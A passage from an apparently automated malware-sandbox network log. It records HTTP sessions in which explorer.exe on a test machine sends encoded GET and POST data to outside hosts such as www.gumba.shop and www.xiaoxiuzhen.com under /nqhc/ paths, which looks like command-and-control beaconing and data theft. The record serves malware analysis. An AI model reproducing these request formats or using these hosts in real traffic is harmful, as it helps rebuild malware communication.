76 68 74 36 37 74 35 71 67 46 66 5a 64 76 51 6c 6d 65 67 4c 6b 61 43 6e 72 56 73 57 38 79 66 61 66 65 6d 72 55 62 6d 6e 65 52 65 58 34 63 44 34 70 45 51 50 51 32 38 6e 72 5f 37 4b 43 6b 34 58 62 43 41 6d 55 6e 70 42 58 30 38 65 53 76 58 34 4f 45 51 4c 6f 52 42 71 35 36 79 7a 31 34 75 4a 4a 69 4a 47 63 4f 49 32 71 44 4e 59 57 78 75 6d 37 33 4d 34 51 71 33 50 4a 6e 7e 45 66 6d 6d 6c 6f 4b 7e 6e 58 63 59 4d 61 79 64 72 48 58 5a 43 71 6f 7e 38 28 74 72 62 42 4e 55 5a 36 39 35 7a 69 5a 56 4a 70 53 4f 47 73 4a 49 64 38 64 67 46 41 31 66 57 55 77 35 69 35 6c 39 52 70 36 74 54 50 35 69 38 41 37 72 72 70 6e 48 39 49 35 55 46 6b 6b 4d 6b 66 37 71 6f 6e 78 67 34 6c 57 61 74 44 4c 65 43 62 4e 30 34 78 34 46 32 58 44 51 37 61 64 69 46 4e 4e 68 5f 6f 43 4d 4c 6c 5a 66 7a 6c 52 6f 56 74 32 58 58 53 77 78 34 48 67 38 71 69 67 65 70 44 4f 4c 63 4e 56 30 58 67 54 64 45 74 74 6b 5f 53 62 28 46 76 73 43 38 54 63 58 36 6d 64 52 49 30 79 77 70 4a 51 65 4f 32 37 6f 36 48 62 59 77 5a 66 44 36 75 47 64 4b 43 43 6a 7a 6c 48 78 48 6b 4e 39 46 58 4a 70 63 66 58 59 63 68 45 53 56 70 31 47 64 68 65 48 48 6a 79 4b 48 79 79 33 48 75 6b 32 6a 6d 74 63 48 56 4e 74 7a 4a 44 58 56 50 7a 43 64 55 30 58 53 63 43 44 4c 61 34 58 34 36 4e 39 5f 6b 6d 62 63 75 6a 44 63 53 43 62 66 71 52 42 62 47 42 35 50 47 38 74 43 53 6c 4e 5a 4c 4b 31 50 70 46 7a 55 7a 53 4c 47 58 46 52 31 4c 61 48 6c 6f 59 79 39 47 7a 67 54 43 57 78 30 44 4a 76 51 50 6c 33 48 48 33 7e 5f 6b 59 35 49 73 7a 75 58 30 79 71 68 45 33 55 54 56 47 44 4a 28 58 55 7a 62 38 63 51 36 79 43 54 74 30 58 78 36 43 5a 72 68 59 37 73 42 41 68 74 79 34 30 36 50 45 61 6c 30 6e 71 62 4c 71 6f 50 6d 6f 45 50 78 7a 4d 64 65 77 36 75 70 51 77 46 39 75 32 31 35 51 4c 76 62 36 28 32 5a 6b 73 47 50 69 75 43 58 37 38 4e 38 45 69 71 6c 55 66 76 7a 4e 69 35 45 67 79 39 37 62 47 47 61 64 69 69 49 4d 48 66 6e 6f 6c 64 42 67 7a 5a 73 70 6b 75 35 42 4a 6b 47 69 31 51 4f 78 6f 4f 28 4c 55 72 43 76 6f 66 61 49 35 49 69 64 38 72 69 4e 55 69 53 52 78 35 48 30 79 36 6b 6e 39 52 71 48 6f 57 49 73 4d 36 67 71 62 6f 78 30 6c 67 55 70 6f 4e 45 6a 6f 73 42 77 62 57 61 74 35 4a 46 59 76 65 69 6f 7e 2d 7a 30 50 4b 76 66 64 54 74 73 37 79 55 5a 77 74 70 70 30 41 62 57 79 72 50 56 65 30 54 55 4c 54 48 51 4c 4f 35 2d 6e 4f 44 65 42 54 34 42 4b 31 45 42 6a 75 7a 31 51 36 49 7a 65 6f 74 36 6c 71 77 52 43 62 69 33 66 65 33 2d 6d 6d 39 6b 6b 36 6d 61 79 43 4c 67 64 57 41 5f 6f 49 55 42 6d 6b 39 56 6c 6c 35 64 69 73 7e 58 38 46 67 64 41 54 7a 35 78 78 6d 37 7e 6e 54 50 30 53 5a 44 47 69 39 63 67 6e 31 74 4f 56 49 41 42 45 37 55 37 57 58 75 37 2d 79 48 57 75 63 6f 57 57 7e 6d 4f 62 42 39 36 6d 45 42 65 45 48 44 6c 43 49 33 47 6c 34 30 6f 31 74 6a 54 46 57 72 76 30 4d 5f 75 6b 36 6b 65 49 32 74 62 64 33 53 4f 57 73 68 39 69 31 65 7a 34 56 73 72 4c 34 5f 76 69 63 42 71 6e 51 59 41 31 6c 57 7e 31 79 52 35 45 66 59 69 56 28 51 71 4a 6f 6e 38 75 61 64 43 4e 6e 50 61 39 35 62 28 57 78 4c 6c 6d 33 47 77 43 4d 4b 31 57 72 67 4b 75 65 47 68 6a 67 62 67 56 46 4d 4f 70 47 55 73 55 6e 46 4f 4f 63 4e 6d 41 6a 57 67 2d 53 30 50 4d 44 6f 45 37 69 55 43 78 71 41 51 78 4f 44 43 6f 61 62 65 34 69 64 30 72 76 30 53 50 61 77 37 7a 64 7a 34 74 49 65 67 48 33 79 6d 37 62 73 57 6f 64 4d 79 69 6c 68 43 52 6e 52 74 30 56 49 34 58 71 63 63 30 6d 43 43 43 62 75 62 66 66 38 67 59 54 30 59 71 75 4c 70 65 31 59 7a 4c 6b 31 51 2d 36 44 70 6d 70 56 49 44 4f 64 68 59 70 43 5a 45 47 35 48 4f 79 46 48 6b 75 78 37 50 49 35 44 66 41 45 31 6c 7e Data Ascii: 7nWHV=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGe5AY8pKqIw4OF8XiVqMcCopHZ6fvg3wcdDleRiLcRzKh_iG4Ig404YNGSvQJPZvG0wn92VecRsv7VuxVkZb9q7qRrKa1O4mslcFniGUf97Y87BX4pIOuGShqrUbA1Ry8srJ7M7gH6gpMmdS3kGfBvIbHxXc~cjv~dcqaZnLvht67t5qgFfZdvQlmegLkaCnrVsW8yfafemrUbmneReX4cD4pEQPQ28nr_7KCk4XbCAmUnpBX08eSvX4OEQLoRBq56yz14uJJiJGcOI2qDNYWxum73M4Qq3PJn~EfmmloK~nXcYMaydrHXZCqo~8(trbBNUZ695ziZVJpSOGsJId8dgFA1fWUw5i5l9Rp6tTP5i8A7rrpnH9I5UFkkMkf7qonxg4lWatDLeCbN04x4F2XDQ7adiFNNh_oCMLlZfzlRoVt2XXSwx4Hg8qigepDOLcNV0XgTdEttk_Sb(FvsC8TcX6mdRI0ywpJQeO27o6HbYwZfD6uGdKCCjzlHxHkN9FXJpcfXYchESVp1GdheHHjyKHyy3Huk2jmtcHVNtzJDXVPzCdU0XScCDLa4X46N9_kmbcujDcSCbfqRBbGB5PG8tCSlNZLK1PpFzUzSLGXFR1LaHloYy9GzgTCWx0DJvQPl3HH3~_kY5IszuX0yqhE3UTVGDJ(XUzb8cQ6yCTt0Xx6CZrhY7sBAhty406PEal0nqbLqoPmoEPxzMdew6upQwF9u215QLvb6(2ZksGPiuCX78N8EiqlUfvzNi5Egy97bGGadiiIMHfnoldBgzZspku5BJkGi1QOxoO(LUrCvofaI5Iid8riNUiSRx5H0y6kn9RqHoWIsM6gqbox0lgUpoNEjosBwbWat5JFYveio~-z0PKvfdTts7yUZwtpp0AbWyrPVe0TULTHQLO5-nODeBT4BK1EBjuz1Q6Izeot6lqwRCbi3fe3-mm9kk6mayCLgdWA_oIUBmk9Vll5dis~X8FgdATz5xxm7~nTP0SZDGi9cgn1tOVIABE7U7WXu7-yHWucoWW~mObB96mEBeEHDlCI3Gl40o1tjTFWrv0M_uk6keI2tbd3SOWsh9i1ez4VsrL4_vicBqnQYA1lW~1yR5EfYiV(QqJon8uadCNnPa95b(WxLlm3GwCMK1WrgKueGhjgbgVFMOpGUsUnFOOcNmAjWg-S0PMDoE7iUCxqAQxODCoabe4id0rv0SPaw7zdz4tIegH3ym7bsWodMyilhCRnRt0VI4Xqcc0mCCCbubff8gYT0YquLpe1YzLk1Q-6DpmpVIDOdhYpCZEG5HOyFHkux7PI5DfAE1l~81Bu2AxsMYWtPUWiwzjRzyziREHFfQ0Hqf9M-zhYg2-29JKQ-1VKNq_6f3K3cJKdQpTaCp5BtEg8-tA0N1HMR21K85bfYijlfFcppg-hONfCJ3CyLXKdVkJ3oe7QNQDXq6_dtar4XJB3eBwfceAuZSLQDr5LWBGpWLJsYBNIvpb6QxlsgKSZIhYe3uJYYsH73SxgcQEZXcz91MgbyWlen75Ss8_57KuKXqFDwfq2nAt7oSYUbb3CrrUwaP9z_Gh9WHe3ukzpRXr0cXVhwKBlhdSDVI8bOJhg0RIzpthgdGkSg6v~ccqGcuzj11uBa1rw2uIGWusAIaJ6dVTWwY2z_0vvT(SxxE2xogwFEFyxVzPghHGopetkplG(cspg70chkYLY0z9DHDFP8O5oebmtSUltMmp5LlVY5zvxI(_mzFJM-JmV8pIKZP2lOldZX8YytCcnUEr5Mi-kSLcnG7FtSzgOMRvUnxTztM4R0E2jz7WeMwgpELOiNmCNGjOJ5dDgVj0EhCoko2UBpp5GEYkKa9buWMTRpTb7hJuNb61S2Tp9iG8r8k2fZ2G6ywi0oT3B9rTK2c0qGiv70o8nPdNL3W1e_gFFtkF4SUt9iEiuVz6ksIxrVT9mywjDgjxX2~EpTTDKSDQjwqW67mEqGfoD6NwlO1xfpgp2jBaoypNTNedjtdPpW2tnFAGUw6kBMS2E4o8EAMUVT~1zvrhWW4-aqpqaKjuK1ZugpJ1dxKrYyOEytcscRVZZrqVIGeJH9B1lzv5zfhkJUVLsNgyaQMeIfNUQgJ5rohKUrE7g-eyGtVqLbz32kl9FAX2tOcSfiD4OJYq3-qN9meIOpx-RTp6dBF463(le61xM-ELDgRDXcSazgUFeGi_EsW4ydQMt6qooIFqhwf-c3UROILsyvi3W2lwePEGyIx-MB~sMiPW2cRFKrJTUioQSqsDyKqutrtIWrOUrnMcARkPY-mqPpH67c8bheXIwcmog6A78L(SZJ42N5R2xpJ3jh1PkWCRwPsd3I3wP9406TDx1VLB3xLzjrIE~nU72_O_djcithReMOnJZm1aK2SYcgyp8-duA7jQTAMerQOjvYfU7H3bCppZM2KCySPuFdzmCknus0(YuCWewhCcni63AmHl05m3kKsSi92ZpQkqDiwg7p0uno0ESlmtpZyMxbTMBMktX18C7R1PWPQGgsuoesc4XBoAf_v2zWixCz(XLvasYfkESU1xtLji9u23(8(bKL7Z9isPPOzHJ6z6uqhDcI6ztBpiYt8qKQgyf2E6VlOXJ9dlWpAJfPd7S3BTKDrq(XHdApDWQ0R0Bmy3R7We2v69vdt4(QpNCaX5ZWNx0J63elxr5wIUf9FV(GsGnl2-n0ihuSUw0JIe(pTYnvhQf4Rx20(WNovcLjUJ95(x1kue2d~0ZwDLnrABsdSamqCSLzrj2sEDmPY26t3NVg(mYxc2ZwrtVUpD7t3A(IO8eW2iVwHsARzy8XvA8yVuZzAN7A49O-snKaB3GRB1ADmDLU7VgKmsU9WHXka4f1nhOwTjY5uXWkmZpygt0FLK73TMAF4GFQqMdQZmLsgsXeSXaNxDP-OoD1OeMz9pqM4PVgFXL1PPIXU6rGbc~MFIce36vhbybgUsYOD7e2RbpV8bsM0XCbGkUGVAV1s9tkwapMtdZK~Dj9bhho8LnyDI(qZkukuEE_Q1A72dT9fRdcWoZ6EY1q91~hNd6WQItMoN~TOSGpX0pUEuhdljpd1B9jgmFgvIihdN1-TYLf2uw5BJRL4jeNsfl_o_PpSXGnFpaF~hniy4hmAIGqhYXR1EId4dzTixTBThBn9UfE0ax2C6fIboTx6yMVMwtsMuiJEc(4(aokKFyDQgIuxbLPJm(Dp06GDytDutSrTdRFxiAIaR28Y2VFiDscWpDeM25R5PML5FkKJ5jzMVv2J_ZlLkJJboAWiMFx5zbTCelSqOAb2FL5bTGnyqiTMMg7synymKDVR3Uwc30fOqeSr08U6L~gZbjCCfYEepaXmJWL0M9qk4rTYqBuOHNSEHC0AJ26lNn9Q86tEDoBy7cXNrSnFL08x3E4v4pMJhdO1wfFyznVVHjWuse-K8ARSs6RKza4~zUuxGfH52PiusH5VDW_z-idq4xDcoCysSMWoZ7yKPdZO0xZAcBuo17TNW8ppE9fuu6rzZSBgilmeuvP4ppClblPE1OhbM0UAaYI1arIFW8hU-qEcG7m3GqNx7FjO7Ivv962xzDe4M54FOy8y4qM6kVmwV7d4vH9uocco2hojU8NsGu5XBDjLt1Ef1pB9mw4iQMM4LJqW1mThBknCByHtllayEYMpQCKW4HCgkw-q_6UGhnGFXhF(WzSdKY3KkO2(GPkBa~Xo7muin4foDnrROchqa~fEoTPOJRz2pZBzDoNZcALZRvgAbF99aGwK0W5xHB5DAbq2ToVr0ANRR9qIcUPt01xPzViNDqI2_~tXj8P3BCRgT~PtGD6uSYNtXRBiGV4MpeVVNNSeqkeNtJlsp7W4Q5ry3mUELXlB5Ba2-wdD6dZm8~cM2WRdfoae1(gGEMgiXWH6BWL9PmIBa7HmUR_a6tg28HFbDrvURW6ja4BgujrbmTf7eChzPrt0en6qFZv3Rkbpx2vNsuYjQ~2gHnabbgZFAa-khOuHHbyLL1dCsy727He6wl-xUZSvTbHhboiv1M2X7F5iBkjEnZ_wdVD8ToYhj
Dec 5, 2022 15:15:52.564922094 CET	11348	OUT	Data Raw: 78 48 43 33 74 72 54 67 42 61 6a 79 72 35 74 45 37 76 6a 69 4e 7e 54 77 2d 4b 72 53 4e 48 45 38 45 67 51 77 52 4a 47 78 52 59 38 36 4b 63 51 39 4a 28 65 4b 59 4f 44 61 31 68 4e 34 35 6b 48 32 36 62 4e 7e 52 70 6d 55 6d 78 49 78 56 28 6c 47 49 59 Data Ascii: xHC3trTgBajyr5tE7vjiN~Tw-KrSNHE8EgQwRJGxRY86KcQ9J(eKYODa1hN45kH26bN~RpmUmxIxV(lGIYjCnnbCdnlAEeL2EU1eo1FHTVVWaPhQcP_xXVMrFzZvhA-LKRntZ4FiLh4Ca~O0jZq~if7pmo8z0LkfyC1Ywan82V5hfa-qhAFCpEz9cDkD2jHWmxNGjn_VuwYZql1NTjY1OAX4eXSMOXzU3WoqoAEseQ-MZ7QM0R8
Dec 5, 2022 15:15:52.565037966 CET	11353	OUT	Data Raw: 39 75 6d 56 64 46 65 79 50 30 53 33 55 5a 38 39 54 66 78 49 7a 46 52 46 30 51 59 7a 59 34 41 52 34 49 52 4c 38 43 5a 50 70 78 67 67 59 71 67 7e 5a 58 46 6e 6d 32 61 49 62 61 46 56 32 6e 55 74 2d 62 30 34 52 55 38 6c 63 64 51 4c 48 76 47 31 2d 52 Data Ascii: 9umVdFeyP0S3UZ89TfxIzFRF0QYzY4AR4IRL8CZPpxggYqg~ZXFnm2aIbaFV2nUt-b04RU8lcdQLHvG1-R3EKffbMc4eR0dWh8wSCIWEHbyeZuQQOHdPMPDPTXRnAT8N6z_jU~tDO3FQUYfWK4IuPXr0F3va2sdgCSUyxM2PzvSmA(outHbFP7v4wPGQ8bNP0ys2yEDPscLC-D0niiKV_L63Neh(MVJ0-I1KN(DOh0l8w12JbJT
Dec 5, 2022 15:15:52.565124035 CET	11361	OUT	Data Raw: 5f 6e 5f 6d 4b 39 65 59 45 61 32 30 66 7e 33 79 50 30 43 56 71 37 62 30 4b 6c 57 63 4b 72 35 31 4a 4d 66 78 42 57 59 4a 75 49 54 39 55 6e 6d 6f 46 67 61 4c 2d 65 65 39 42 56 77 61 78 4c 74 42 45 68 6a 36 71 50 54 4a 57 47 47 56 38 78 6a 4f 6a 71 Data Ascii: _n_mK9eYEa20f~3yP0CVq7b0KlWcKr51JMfxBWYJuIT9UnmoFgaL-ee9BVwaxLtBEhj6qPTJWGGV8xjOjqt6JuPmgYQkBUHF6ootCMDedlr3aCiF0H1291gMFRsYVN1N0B7lMRfieNfRaXmP8yOgtjI8_FQGNdxVyoJIkuR3ymexfpsaMSN6edOMq53s7YsQqvnHmxgX-IpVKmh6YTiOuKT0LnlSyFBh3Ua0w~HXmm6WN7Rr95U
Dec 5, 2022 15:15:52.565279007 CET	11363	OUT	Data Raw: 69 45 4b 50 50 68 6a 68 72 36 56 72 63 74 46 51 33 53 68 78 58 77 47 78 6e 66 2d 67 52 49 71 61 41 6a 35 4d 56 7a 37 56 6f 68 4e 70 4a 4e 6d 51 4f 64 44 32 30 4a 30 71 4e 28 36 61 7a 68 5f 6c 46 68 78 70 4a 64 67 28 51 5a 69 43 69 31 4d 64 64 7e Data Ascii: iEKPPhjhr6VrctFQ3ShxXwGxnf-gRIqaAj5MVz7VohNpJNmQOdD20J0qN(6azh_lFhxpJdg(QZiCi1Mdd~Jc-SflFEKpsKVrTQZ5VXfd0O3eEtMrk8i3anJToHuP5npsPqRbm568wsCwx9bXWWCnNUWapvEz2xi1IFv2MxaLTNmdAqIBXCIJCuFzE9KJb3dIR4OzjKSYM960MxxVfjv7wySJ-5Otzir5MI0jzFNRTl3GkYMOPyI
Dec 5, 2022 15:15:52.565501928 CET	11371	OUT	Data Raw: 64 39 4a 55 50 39 46 6b 55 7e 62 66 39 43 56 43 78 63 5f 58 71 50 42 69 6c 33 32 75 63 42 41 61 6d 4e 37 66 63 37 54 71 67 6b 4e 6a 63 47 6c 71 5f 4c 30 4c 68 4d 6f 42 43 62 4f 48 57 7e 53 78 62 66 5f 35 4a 77 79 79 5f 47 32 67 6a 62 73 5a 58 4e Data Ascii: d9JUP9FkU~bf9CVCxc_XqPBil32ucBAamN7fc7TqgkNjcGlq_L0LhMoBCbOHW~Sxbf_5Jwyy_G2gjbsZXN7eyEv2vyg4PJtAIrFXOsC4pPvO-RTGCKd36Hym4(vIo7Qhnu34sRqQNb4tEvTz27NP_KqlpX83N9fvzC4GsCK5iBox3ttD62osZJX1LNyWrADs9FzX3OtlrNPEMSf38(GYq~gsFdAQRM_1TufqU9vMfVYDEzZdhu4
Dec 5, 2022 15:15:52.728391886 CET	11374	OUT	Data Raw: 34 59 2d 74 6e 59 57 6e 5f 76 44 64 4d 4d 67 34 5a 34 4c 54 36 77 4f 6e 31 44 2d 47 5f 59 50 76 7a 4c 6f 67 46 51 45 41 53 6d 48 72 41 63 73 74 6d 6f 63 61 70 66 4f 69 45 36 59 4c 6b 73 46 64 42 4d 75 59 57 4b 47 7a 41 69 43 35 6e 6c 76 65 61 64 Data Ascii: 4Y-tnYWn_vDdMMg4Z4LT6wOn1D-G_YPvzLogFQEASmHrAcstmocapfOiE6YLksFdBMuYWKGzAiC5nlvead3GwPti8EwArUoAYUEm_d0mG5LrA40IJwbICXFqFpkew~eFlGqlmmAMEP3H6I55t266fnpucJnL2ZDLxxbIKPtxWE_efIIXuIp8n7MEFn_sHcmlyOGw7SzK0BgUOaUFLHKxGUoVGBJhgZ0F0s-p0s_c18tDkcSwNZE
Dec 5, 2022 15:15:52.728492022 CET	11379	OUT	Data Raw: 38 37 62 56 4d 69 4e 54 4a 66 69 66 52 42 34 54 42 77 6e 38 35 4f 73 57 63 53 68 75 68 28 35 49 59 77 63 4a 54 4d 53 4b 5f 4c 41 67 4b 31 2d 44 6c 44 36 69 48 56 4f 79 62 53 71 76 53 46 30 69 35 44 56 56 6e 4d 79 49 41 46 69 54 33 73 33 54 76 33 Data Ascii: 87bVMiNTJfifRB4TBwn85OsWcShuh(5IYwcJTMSK_LAgK1-DlD6iHVOybSqvSF0i5DVVnMyIAFiT3s3Tv39JJNs12DXNQmbi0AOnKLuSxshTtT3(69P8QKQ8BRtxdwSvHqD(s2PYD(TruKvo_vnf5~HEU2gCcJaT8g9s0(LuIR6TXeZIkuYKh5rSYIhcIGU7lvseQ87cHzt8Ck4vB0kasjCnCx_RQbOTiZhXlWwi4p3TbKHzBsS
Dec 5, 2022 15:15:52.728557110 CET	11381	OUT	Data Raw: 70 71 75 43 5f 61 52 66 76 62 6a 28 35 47 54 33 73 55 52 6b 6b 6b 48 49 73 6e 38 54 35 70 35 6a 49 34 51 49 6f 34 6b 36 7a 47 62 50 79 75 4e 47 59 38 65 41 4d 71 39 55 42 73 6b 33 74 46 47 46 2d 7e 54 45 6d 43 6b 78 37 69 6e 57 45 41 56 48 69 62 Data Ascii: pquC_aRfvbj(5GT3sURkkkHIsn8T5p5jI4QIo4k6zGbPyuNGY8eAMq9UBsk3tFGF-~TEmCkx7inWEAVHibgiruP00K1pTFVhTeorqKTLsNDtC5VNlQtuhVfnNl_RbFlpw(GgkqWXP8ylSIfYCwkbrTpCwZi4mkPHFf_5BYoG4X5OuiATAQB5dEICKv2uwXsv65LA-H9XBoZxuHLK9nmSvJNou2AN3oD8vHwI7NiS6~FwQ~-pzkV
Dec 5, 2022 15:15:52.728765011 CET	11383	OUT	Data Raw: 42 4e 36 33 4e 62 5a 74 34 46 70 45 66 44 74 63 34 6b 4e 75 31 77 6d 79 4e 4b 72 71 63 57 72 55 7a 52 56 4a 61 64 5f 6a 52 36 66 6d 34 6f 66 50 52 6e 78 77 77 73 4f 69 65 57 5f 66 35 69 79 46 4b 4a 6c 41 6a 7a 31 61 64 50 4f 75 36 66 79 6c 75 52 Data Ascii: BN63NbZt4FpEfDtc4kNu1wmyNKrqcWrUzRVJad_jR6fm4ofPRnxwwsOieW_f5iyFKJlAjz1adPOu6fyluRXSqUGwrFuvNyVf0xoKqBuKjhe6X8D~8BRY47_isQylYjMsD6_jDX39DmFpqKm8cEfpIjWYZzojlSB3NAat_hSwCA9GVZ3PwBA3qAPMG556VlTiztuHXmuFkltWfML5bWNkXYrV1Em8YfQ5Z40yaqy5DV6pLcgbqEU
Dec 5, 2022 15:15:52.728938103 CET	11385	OUT	Data Raw: 77 33 48 68 31 66 72 51 4a 4e 2d 6b 75 72 42 7e 35 4c 48 70 42 35 5f 43 42 71 6c 77 51 36 37 77 4a 41 48 78 2d 48 61 7e 39 48 45 6e 5f 53 76 70 70 6f 68 66 51 41 46 77 42 78 62 71 68 49 79 67 53 34 46 39 49 44 74 33 31 69 56 56 59 6f 44 4f 4f 67 Data Ascii: w3Hh1frQJN-kurB~5LHpB5_CBqlwQ67wJAHx-Ha~9HEn_SvppohfQAFwBxbqhIygS4F9IDt31iVVYoDOOgyZeYBbpyBW5q69Olrb4brIS3YEFIT~-(XX4B8hoqw15NQZbdQEA3ncsGjc3vCmOsPsbk8DyehRPqluEMzCaDDHHmGqzX1(_NQmXvYV2nSoBAJ~WtX0uEfjwOQeBeFgZEiE-ecQPVIaDKZTsx3o3XkaVs-TYDrj1u-
Dec 5, 2022 15:15:52.930581093 CET	11386	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:15:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49856	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:54.587519884 CET	11387	OUT	GET /nqhc/?7nWHV=NmysUK8Sf6DpSokzhdS+Fe7Tw5OPNsso476sAEQMN+xhSdBax7kHE0kXg2GXcVgvb7a1o1nVZ7aHbSSwUgvcnfixvrsa7oZKWA==&t0D=yFNHS0IX HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:15:54.752850056 CET	11387	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Dec 2022 14:15:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49857	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:59.869815111 CET	11388	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 64 70 30 6f 68 78 4d 4d 78 31 43 43 63 66 69 6c 50 4e 6b 5f 72 4f 56 4c 52 44 6a 6b 4e 55 41 6a 5a 44 48 75 62 63 57 4c 64 6e 35 46 64 6a 69 5a 51 34 38 4b 38 65 53 56 4f 50 28 2d 6e 39 67 34 6c 57 49 35 6b 31 55 31 78 53 43 31 58 75 41 43 32 31 56 6e 65 31 4f 61 38 30 72 65 39 38 53 5f 62 72 28 4a 28 37 33 50 31 4d 4d 43 71 36 54 67 4b 76 58 54 49 76 79 65 7a 47 61 63 28 30 28 64 4b 58 67 71 52 73 73 34 55 6d 55 32 6b 51 4a 76 61 2d 4f 47 30 6e 56 79 72 71 55 6a 65 33 45 37 4d 44 62 43 33 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=S6tbconk9Vd-dp0ohxMMx1CCcfilPNk_rOVLRDjkNUAjZDHubcWLdn5FdjiZQ48K8eSVOP(-n9g4lWI5k1U1xSC1XuAC21Vne1Oa80re98S_br(J(73P1MMCq6TgKvXTIvyezGac(0(dKXgqRss4UmU2kQJva-OG0nVyrqUje3E7MDbC3w).
Dec 5, 2022 15:15:59.919596910 CET	11389	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:15:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx
Dec 5, 2022 15:15:59.919660091 CET	11389	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49835	198.58.118.167	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:14:45.406071901 CET	11078	OUT	GET /nqhc/?7nWHV=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==&t0D=yFNHS0IX HTTP/1.1 Host: www.labour-office.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:14:45.542540073 CET	11078	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 05 Dec 2022 14:14:45 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.11.20	49858	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:01.903176069 CET	11390	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 51 6a 59 68 66 75 61 5a 36 4c 4f 58 35 46 53 44 69 41 64 59 38 5f 38 65 65 73 4f 4f 44 2d 6e 35 41 34 6b 6b 51 35 74 6c 55 36 37 79 43 30 42 2d 41 42 39 56 56 78 65 31 53 73 38 77 72 65 39 4d 7e 5f 4a 35 6e 4a 73 36 33 4d 34 4d 4d 41 73 36 54 6a 52 5f 58 6a 49 76 33 6a 7a 48 69 69 7e 47 6a 64 4c 7a 51 71 44 63 73 5f 42 6d 55 50 6f 77 4a 2d 4a 2d 75 43 38 47 4e 36 79 62 34 65 54 46 39 56 49 6e 4b 2d 68 47 57 4b 77 7a 54 5f 31 70 67 6c 38 72 79 62 28 36 35 5f 41 73 54 6b 6e 73 69 32 76 32 6d 72 57 5f 73 37 79 57 6f 67 70 56 69 5a 67 65 34 33 30 37 41 31 68 72 73 79 31 51 78 71 55 41 73 4c 39 6b 65 2d 28 6d 7a 61 46 70 72 33 6a 30 50 74 